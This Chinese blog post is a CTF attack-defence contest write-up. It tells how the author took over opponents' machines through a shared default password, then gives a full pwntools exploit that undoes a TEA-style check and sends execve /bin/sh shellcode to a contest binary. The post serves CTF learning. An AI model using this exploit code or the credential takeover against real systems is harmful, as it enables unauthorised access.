第一届广东大学生网络安全攻防大赛线下wp-pwn

第一次打线下AWD,体验不佳,初始密码是一样的,还好我手速快,偷了9台机子,但是因为主办方服务器崩溃重置丢了3台,web手被删站,后面全靠我偷家上分噗嗤,希望我的队友们11月12号强网杯可以打爆所有人。

(这次AWD是对自己很失望的,就这种入门的题,因为忙着维持偷来的机子权限,一直在整。。。本来想jio本改密,但是出了点问题,为了保命没办法,只能先偷家,最后30分钟才去看题,又因为全员没有一个人是对python数据熟悉的,只能说输在了语言基础,学有所成有不亏,失落不甘也是我追赶的动力。)

ReT0 永远滴神

最后成绩排名15,二等奖。

题目的流量,原件,exp都在这里

链接:https://pan.baidu.com/s/1jMb4XYZEhXnVfHsmgXglsQ
提取码:rijd
–来自百度网盘超级会员V3的分享

这个pwn题,是真的简单但是我是个傻逼,动态tea算法,我用py写怎么都得不到正确数据原因就在于

因为直接对 Python 里面的数字左移的时候,如果结果超出了 32 位,Python 并不会像 C 语言那样把超出 32 位的部分截取,而是从 int 成为了一个 long 数据。比如,0xFFFFFFFF << 8 在 C 语言中的结果是 0xFFFFFF00,而 Python 的结果是 0xFFFFFFFF00。

所以,在 Python 中要实现 C 语言中的结果,只需要把结果限定在 32 位(或其他需要的位数)即可。比较方便的方法是使用 ctypes 中的数据类型 c_uint32、c_int32 等

这个题还有个地方是坑点,他的shellcode不是常规的,改日我要研究下。

正常的思路就是,解tea进入程序,mmap区段写shellcode,getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from ctypes import *
def get_shell(ip):
global sh
port=10000
#sh = remote(ip, port)
sh=process('./pwn')
context.log_level='debug'
#sh=remote('192.168.123.131',12000)
sh.recvuntil('Your secret key :')
key=int(sh.recv(10),10)
print(key)
sh.recvuntil("0x")
leak1=int(sh.recv(8),16)
print((leak1))
sh.recvuntil("0x")
leak2=int(sh.recv(8),16)
print((leak2))
#sh.interactive()
a1= [(leak1),(leak2)]
v7 = c_uint32(a1[0])
v6 = c_uint32(a1[1])
v5 = 0
a3=(key)
v5=c_uint32(a3*0x20)
for i in range(0x20):
v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
v5.value -= (key)
a1[0] = v7.value
a1[1] = v6.value
print(a1[0],a1[1])
#sh.interactive()
sh.recv()
sh.sendline(str(a1[0])+(",")+str(a1[1]))
sh.sendline("A")
sh.recv()
sh.sendline("1638")
sh.recv()
context.arch = 'amd64'
code = '''
mov rax, 0x68732f6e69622f;
push rax
mov rdi, rsp;
mov rsi, 0;
xor rdx, rdx;
mov rax, 59;
syscall
'''
sc = asm(code)
#sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20")
sh.sendline("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
print(len("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x08\x90\x90\x90\x90\x90\x90\x90\x90\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"))
print(len(sc))
sh.interactive()
return sh
get_shell(1)

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2022 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信